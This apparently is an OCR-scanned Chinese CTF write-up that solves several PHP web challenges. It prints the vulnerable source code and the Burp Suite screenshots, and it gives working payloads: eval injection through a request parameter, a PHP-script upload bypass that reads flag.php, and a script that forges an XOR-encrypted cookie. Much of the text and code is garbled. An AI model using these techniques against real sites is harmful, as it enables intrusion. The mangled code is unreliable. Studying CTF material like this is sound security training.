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<?php

include "flag.php";

$a=@%_REQUEST'hello'];

if('preg_match('/A\w*$/,$a )}
die(ERROR);

}

eval("var_dump($$a);");

show_source(_ FILE_ );

?>

fEf%: URL/?hello=GLOBALS

<?php

include "flag.php";

$a = @$_REQUEST'hello';
eval( "var_dump($a);");
show_source(_ FILE_ );

fifi: URL/?hello=file_get_contents('flag.php')
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<?php

error_reporting(0);

session_start();

require('./flag.php");

if(lisset($_SESSION['nums'){
$ SESSION['nums'] = 0;
$_SESSION[time'] = time();
$ SESSION['whoami'] = 'ea’;

}

if($_SESSION['time']+120<time()X
session_destroy();

}

$value = $_REQUEST['value'];
$str_rand = range('a’, '2);
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];

if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
$_SESSION['nums']++;
$ SESSION['whoami'] = $str_rands;
echo $str_rands;

}

if($_SESSION['nums>=10)
echo $flag;
}

show_source(__FILE_ );
?>
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000

[ Target T Proxy T Spider T Scanner Tlntruder T Repeater T Sequencer T Decoder T Comparet T Extender T Project options T User aoptions Tﬁler‘ts ]

Target | Positions T Payloads T Options ]

@ Payload Positions

are assigned to payload positions - see help for full details.

Caonfigure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads

Start attack

Attack type: lPitchfork I * Eﬁ_ﬁf‘;

-

GET /7valuel1358] val.ue[]'r'rwl.l

Host: 5dfd3696d/084d2edf50ddazed1edf95694d211355F046T9. game. ichungiu. com
User-Agent: Mozplla/5.0 (X11; Linux x86_64; rv:52.0) Gecko,/20100101 Firefox/52.0
Accept: text/htpl,applicatipn/xhtml+xml,application/xml;q=0.9,%*/%;q=0.8
Accept-Languagq: en-US,en;gEl.5

Accept-Encoding: gzip, defl
Connection: cloke
Upgrade-Insecufle-Requests:
Cookie: PHPSESS D=&dnhghomr

rhvsdaggokrmcul

FHE  FHE

H Adds
Clears
Auto &
Refresh

.T T T T Type 8 search ferm

2 payload positions

-
v

0 matches Clear
Length: 429
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[Target T Pro=y T Spider T Scanner Tlntruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options TAIer‘ts ]

[ Target T Positions T Payloads TOptions ]

'
@ Grep - Extract
'
(@) Thesesettings Define extract grep item (]
[ Extractthe /
| Define the location of the item to be extracted. Selecting the item in the response panel will create a suitable configuration
ad - —'  automatically. You can also modify the configuration manually to ensure it works effectively.
) Define start and end [ Extract from regex group
i
reravell Start after expression: [).=code=<span
Duplicate | Start at offset 380 [ Case sensitive
Up .
B ] End at delimiter: =Codem-<span
clear 1 End at fixed lenath: 3
Maxirurn capt
[ Exclude HTTP headers [ Update config based on selection below Refetch response
lEJ Grap - Paylc HTTP/1.1 200 0K '
- Server: nginxk/1.10.2
@ These settings Date: Tue, 23 0ct 2018 06:00:54 GMT
Content-Type: text/html; charset=UTF-&
[ searchres Content-Length: 5360
B roce cpnal Connection: close
- -
Burp Suite Professional v1.7.32 - Temporary Project - licensed to jerry — Ll %

Burp Intruder Repeater Window Help

[Target T Prom=y T Spider T Scanner Tlntruder T Repeater T Sequencer ]’ Decoder T Comparer T Extender ]’ Project options T User options ]’Aler‘ts ]

[Target T Positions T Payloads TOptions ]

a
@ Grap - Extract [
o

i Theee scttingy Define extract grep item

] E)-d:ractthef/
@ Define the location of the item to be extracted. Selecting the iterm in the response panel will create a suitable configuration
Add -

autornatically. “rou can also modify the configuration manually to ensure it works effectively.

[J Define start and end @ Extract from regex group
Rermove Start after expression: | -cacheirinirinz l=rode=<span
Duplicate Start at offset: 351 ¥ Case sensitive

Up
T End at delimiter: =code=<span
 Clear End at fixed length: 1

Maxirnurn capt

& Exclude HTTP headers [ Update config based on selection belaow Refetch response
LEJ Grep - Paylc HTTP/1.1 200 0K &
- Server: nginx/1.108.2
@ These settings Date: Tue, 23 0ct 2018 06:00:54 GMT
Content-Type: text/html; charset=UTF-8
[ search resg Content-Length: 5368

B raze candl Connection: close
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[Target T P oy T Spider I Scanner Tlntruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options TAIer‘ts ]

ma

[Target T Positions T Payloads TOptions ]

»

(?2) Grep - Extract
|£J These settings can be used to extract useful information from responses into the attack results table.

& Extractthe following iterns from responses:

| add From regex group: [.). <code=<span
From regex group: [ )=code==span

| Edit

| Remove

| Duplicate 3
-

|  Down

| clear

Maximurmn capture length: | 100

(2] crep- Payloads

|£J These settings can be used to flag result iterns containing reflections of the submitted payload.

|_J Searchresponses for payload strings e
v

[ L e o

Burp Suite Professional v1.7.32 - Temporary Project - licensed to jerry @ O O
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[Target T Prosy T Spider T Scanner Tlntruder T Repeater T Sequencer T Decoder T Camparer T Extender T Project options T User options TAIer‘ts ]

(el

[Target T Positions TPaonads T Optians ]

'
(2] Payload Sets SapNT | startattack | T

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab.

Yarious payload types are available for each pa set, and each payload type can be customized in different waws.
Payload set: | 1 '] Payload count: unknown
Payload type:|| Recursive grep 'J I Request count: unknown

(2) Payload Gptions [Recursive grep]

This payload type lets wou extract each payload from the response to the previous request in the attack. It is useful in some situations where wou
need to work recursively to extract useful data or deliver an exploit. Extract grep items can be defined in the Cptions tab.

Selectthe "extract grep" item from which to derive payloads:

From regex group: [.).<code=-<span I L/
From regex group. .1 J=tode=—<=pan

L SRERIE

Initial payload for first request) e

@ Stop if duplicate payload found

T
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[Target T Prosy T Spider T Scanner Tlntruder T Repeater T Sequencer T Decoder T Camparer T Extender T Project options T User options TAIer'ts ]

[Target T Fositions TPayIDads T Options ]

- S '
2| Payload Sets A Start attack | N
2 EAETT (L start ateack |
vou can define ane ar more payload sets. The ber of payload sets depends on the attack type defined in the Positions tab.
“arious payload types are awvailable for each load set, and each payload type can be customized in different ways.
Payload set: [2 .'] Payload count: unknown
Payload typel [Recursive arep |'J I Request count: unknown
@ Payload aptions [Recursive grep]
This payload type lets wou extract each payload from the response to the previous request in the attack. Itis useful in some situations where wou
need to wark recursively to extract useful data or deliver an exploit. Extract grep iterns can be defined in the Options tab.
Select the "extract grep" itern frorm which to derive payloads:
From regexgroun: (1 =code Dan 3/
From regex group: [ )=code=<span I
»
P
BRiEREE
Initial pawload for first request:
[ stop if duplicate payload found
4
v




Intruder attack 39 o ® O

Attack Sawve Columns

_[ Results TTarget T Positions T Payloads T Options ]

‘ Filter: Showing all iterns ‘ 2]
Request A| Payloadl | Payload2 | Status | Error |Timeout| Length | [l <code==<span | [ )=code=<span | Comment
0 200 @] [0 5682
1 e a 200 8] [0 5684 f b
2 f b 200 8] [0 5684 b o
3 b o 200 8] [0 5684 h z
4 h z 200 8] [0 5684 B v
5 p W 200 O 0] 5654 n 0
[ n 0 200 O 0] 5654 W ]

7 W s 200 O 0] 5654 r c
3 r c 200 8] [0 5684 w t
g W t 200 8] [0 5684 b z
10 b z 200 @] [0 5726 5 T
11 5 [T lz00 O [J 5724 5 1
-l 7 T

Request | Response ]

J Raw T Headers T Hex 1

Content-Type: text/html; charset=UTF-8 A
Content-Length: 54082

Connection: close

¥-Powered-By: PHP/5.6.29

Expires: Thu, 19 Nov 1981 88:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache _,.d flag

lag{1f3iZzbd4ad-3%9a0-4bas5~ 93?6 2e6bd1lfeb9a5}kcode=<span style="color: #000000">
=span style="co r #F0O0 ; 7php&nbsp;=br /=error_reporting=/span=<span style="color: #007700"=(</span=<span
style="color: #GEIGEIBB">9<,F5pan><span style="color: #007700"=) ;<br /=< /span=<span style="color: ¥

? - + - Twpe a search ferm 0 rmatches
EENEEY
Finished Bl

B4 : Upload, B EAEBMEAtE, MRX AN (tips:flagftflag.phpH)

<IDOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />

<title> 304 A& <fitle>

<link href="./bootstrap.min.css" rel="stylesheet">
</head>
<body>

<script src="./jquery.min.js"></script>
<script>
$(document).ready(function() {
$(#selectFile').on('click’, function() { $(‘#file').trigger('click’) });
$(#file').change(function() { $(‘#selectedFile').val($(this).val()) });
1
Il references: http://kuwalab.hatenablog.jp/entry/2014/01/02/191821
</script>
<div class="container">
<div class="row">
<div class="col-lg-12">
<h1>3 4 Efg</h1>

nsAeAT DI RE 2 L AR Ao IA




STV CAPR S LI KT IV
<form method="post" enctype="multipart/form-data" class="form">
<input type="file" name="file" id="file" style="display: none;">
<div class="input-group">
<input type="text" class="form-control" id="selectedFile" readonly>
<span class="input-group-btn" style="width:200px">
<button id="selectFile" class="btn btn-defdault" type="button" style="margin-right:5px;">i% £ 3 {4 </button>
<input type="submit" value="_t4£" class="btn btn-primary">
<span>
</div>

</form>

<?php
if($_SERVER["'REQUEST METHOD"] === "POST"):
>
<?php
if (is_uploaded_file($_FILES["file"]["tmp_name"])):
$file = $_FILES[file;
$name = $file['name];
if (preg_match("/A[a-zA-Z0-9]+\\.[a-zA-Z0-9]+$/", $name) ):
$data = file_get_contents($file[tmp_name'));
while($next = preg_replace("/<\?/", ", $data))
$next = preg_replace("/php/", ", $next);
if($data === $next) break;
$data = $next;
}
file_put_contents(dirame(__FILE__).'/u/ . $name, $data);
chmod(dimame(__FILE__).'u/ . $name, 0644);
?>
<div>
<a href="<?php echo htmispecialchars("u" . $name)?>"> -1 5.1 </a>
</div>
<?php
endif;
endif;
7>
<?php
endif;
7>
</div>
</div>
</div>
</body>
</html>

R Xt BT “php” K& “<?”, FKEPHP K<script language="PHP">3 17 5%t



<script language="PHP">

$file ='../flag.'strtolower('PHP");
echo file_get_contents($file);
</script>

5: Code, Wi, fReETA?

/. URL/index.php?jpg=hei.jpg, &EFJRILH <img src='data:image/gif;base64,

» JEEEAE A

baseb4 )5 FfF &, i URL/index.php?jpg=index.php, 32K %#Ebase64 decode, 1& w75 Findex.phpif
g

<?php

[

* Created by PhpStorm.

* Date: 2015/11/16

* Time: 1:31

*

header('content-type:text/html;charset=utf-8');

if(! isset($_GETTjpg'l))
header('Refresh:0;url=./index.php?jpg=hei.jpg’);

$file =$_GETTjpg'l;

echo '<title>file:".$file.'</title>";

$file = preg_replace("/[*a-zA-Z0-9.]+/","", $file);

$file = str_replace("config"," ", $file);

$txt = base64_encode(file_get contents($file));

echo "<img src='data:image/gif;pase64,".$txt."></img>";

/*
* Can you find the flag file?

*/

?>

H “Created by PhpStorm™ &% 3 H HPhpStorm& %, BIF7E B34k .idea B, W BEAAAEIRADHEEE K N
B, VilRURL/.idea/workspace.xml, #& & A Eindex.php, config.php, fl3g_ichuqiu.php=43CtF, 44
index.php i A% 7] i i3 URL/index.php?jpg=fl3gconfigichugiu.php, F{Ebase64 decode, 3K

fl3g_ichuqiu.phpHI &AL :

<?php

[

* Created by PhpStorm.

* Date: 2015/11/16

* Time: 1:31

*/

error_reporting(E_ALL || ~E_NOTICE);



include(‘config.php");
function random($length, $chars = 'ABCDEF GHIJKLMNOPQRS TUVWXYZ0123456789abcdefghijklmnopgrstuvwxyz') {
$hash=";
$max = strlen($chars) - 1;
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)];
}

return $hash;

}

function encrypt($txt,$key){
for($i=0;$i<strien($txt);$i++)
$tmp .= chr(ord($txt[$i])+10);
}
Stxt = $tmp;
$rnd=random(4);
$key=md5($rnd.$Skey);
$s=0;
for($i=0;$i<strlen($txt);$i++)
if($s == 32) $s = 0;
$ttmp .= $txt[$i] » Skey[++$s];
}
return base64_encode($rnd.$ttmp);
}
function decrypt($txt,$key){
Stxt=base64 decode($ixt);
$rnd = substr($txt,0,4);
Stxt = substr($txt,4);
$key=md5($rnd.$Skey);

$s=0;
for($i=0;$i<strlen($txt);$i++)
if($s == 32) $s = 0;
$tmp .= $txt[$i] Skey[++$s];
}
for($i=0;$i<strlen($tmp);$i++){
$tmp1 .= chr(ord($tmp[$i])-10);
}
return $tmp1;
}
$username = decrypt($_COOKIE['user’],$key);
if (Susername == "system'){
echo $flag;
else{
setcookie('user',encrypt(‘guest’,$key));
echo"N (Z V N A

}

?>



7 i URL/I3g_ichugiu.php2ri: B — A % Bk Huserffi COOKIE, X ANCOOKIE(E £ quest 3 471 % kb 8 J5 15 51
1, ¥ COOKIEfEbase64_decodefd B FRFE, BIANFRABENESN, FEENFERF ASnewtxt (B
chr(ord($txt[$i])+10)4b 3 f5 HIME ) SSnewkey (EImd5($rnd.$key)ib# 5 HIME) FHISNZHRBRERK . B
A 40 R B S 54 44 5 Snewtxti#E AT F BURE 7T 78 B Snewkey AR 5N 4%,  BN'system B 6N F 4, BT LA
$newkey 164 FR/F R BEAKIRNT0-9, a-f3164NF /14T chr(ord($txt[$i])+10) b B 1E I Snewkey i1 3 64 F4F
H'system' #4177 88 Hbase64 4 5 15 (I /E ICOOKIERIME, RIRKAE. LA TG E3REXCOOKIE AR AD & 15 F
burpsuitei# 17 2 85% 1) & :

<?php

$oriStr = base64_decode('bkFVMxAaWUxXK'); // bkFVMxAaWUxK &1 18 fidg_ichugiu.php 4 a1 COOKIE(E
$rnd = substr($oriStr, 0, 4);

$a = substr($oriStr, 4);

$b ="'guest’;

$ttmp =",
for($i=0;$i<strlen($a);$i++)

$ttmp .= chr(ord($b[$i])+10) * $a[$i];
}

$d ='system’;
$char1 = range(0, 9);
$char2 = range(a, f);
$char = array_merge($char1, $char2);
foreach ($char as $v) {
$c = $ttmp.Syv;
SnewStr=";
for($i=0;$i<strlen($d);$i++)
SnewStr .= $¢[$i] A chr(ord($d[$i])+10);
}

echo base64_encode($rnd.$newStr).'<br>";
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[TargetT Proxy T Spider T Scanner Tmtruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options TA\er‘ts ]

1w |2 = ERE °

[Target T Positions T Payloads T Options 1

@ Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full details

Start attack

Attack bype: LSniper |V]
GET /fl3g_ichugiu.php HTTP/1.1 & adds
Host: ac@73chbfcd7047b28c97447783f2c07b48d1d963031b4d21. game. ichungiu.com r

User-agent: Mozilla/5.0 (X11; Linux x86_64; rvi52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml, application/xml;g=0.9,%/#%;g=0.8
Accept-Language: en-US,en;g=0.5

Accept-Encod. e

Cookie: user ———* s -

Connection: close ﬂ‘fﬂ' cookie
Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

-
v
? < + = Twpe a search ferm 0 matches
1 payload position Length: 432

Clears
Auto §
Refresh

Clear

Burp Suite Professional v1.7.32 - Temporary Project - licensed to jerry
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{Target T Proxy T Spider T Scanner Tlntmder T Repeater T Seguencer T Decoder T Corparer T Extender T Project options T User options TAIEr‘ts ]

1 = |2 = 3 =

{Target T Positions TPay\nads T Options ]

)

=

=

Payload Sets

“rou can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Yarious payload types are available for each payload set, and each
payload type can be customized in different ways

Payload set: | 1 |* Paylosd count: 16

Payload type: | Simple list g Request count: 16

Payload Options [Simple list]

This payload type lets you configure & simple list of strings that are used as payloads

Faste dHpSNOWTSUsMRw== F
™

dHPSNOWTSUsMRg
Load — T PR LI el BT S DR e
Rermove

»
dHpSNOWTSUsMQg==
Clear dHpSNOWTSUsMQQ==
v

dHpSMOWT SUs MO
dHpSMOWTSUsMTw

Add ENTEF @ Rek e

lAddfrom\ist... |']

Payload Processing

“rou can define rules to perform warious processing tasks on each payload before it is used

Add

Enabled | Rule

Edit

Remove »

M

Dawn

&

Start attack | T\

-
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[TargetT Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options TAIer‘ts W

1= (2 x [§x

[TargetT Positions TPaleads T Cptions ]

— Intruder attack 1 (- O ] 1
2| Payload Sets
LJ & Attack Save Columns Startattack | )
You can define one or more payload deach
payload type can be custarnized in d_[ Results TTar’get T Positions T Payloads T Options W
Payload set: 1 ‘ Filter: Showing all iterns | ?
Payload type: | Simple list Request & | Payload | Status | Error | Timeout | Length | Comment |
0 200 O O 238 i
(1 dHPSNOWTSUSMR== 200 O O 238 ™
- . . |2 dHPSNOWTSUsMR, 200 O O 238
@ Payload Cptiens [Simple list| | AHRSNOWTS UsMR: 200 =] [ ENPLengthBH T F—4%, S=EE
This payload type lets you configure | 4 dHPSHOWTSUSMRA== 200 L:J L:J 238 & i o
El dHpSHOWT SUsMQu== 200 (0] (0] 238
Ao BNl Llahd il il
Paste dHpSNOW?SUsMRw= I3 dHPSNOWTSUSMQG== 200 O O 232
dHpSHOWTSUsMRg 5 200 0 0 235
Laad dHpSHOWTSUsMRQ= 9 200 O 8] PET
dHpSHOWTSUsMRA= 10 200 [®) [®) 238
Remowve dHpSHOWTSUsMQp= 11 200 o o .
dHpSHOWTSUsMQa= 12 200 (9] (9] 238
Clear dHRSHOWTSUSMQQ| ALtn S ML S b ann =) P 5
dHpSHOWTSUsMQA=
dHpSHOWTSUsMTw=_| Request | Respanse
Add Enter 8 new ffem Raw | Headers | Hex
HTTP/1.1 280 0K &
lAddfmml'St'-- Server: nginx/1.18.2
Date: Wed, 24 0ct 2018 07:37:28 GMT
Content-Type: text/html;charset=utf-8
| Content-Length: 42 i
— . Connection: close
@ Payload Processing X-Powered-By: PHP/5.5.9- lubuntud / flag
rou can define rules to perform vari
2 '169[&52400(0-cﬁ]e-dSe(-BO?B-h703ff24f(hﬁ}|
l Add J Enabled | Rule v
Edit z < + = Twpe 3 search ferm 0 matches
Rernove Finished £ —

Up

i

Down

-«

BEEZ) ) )
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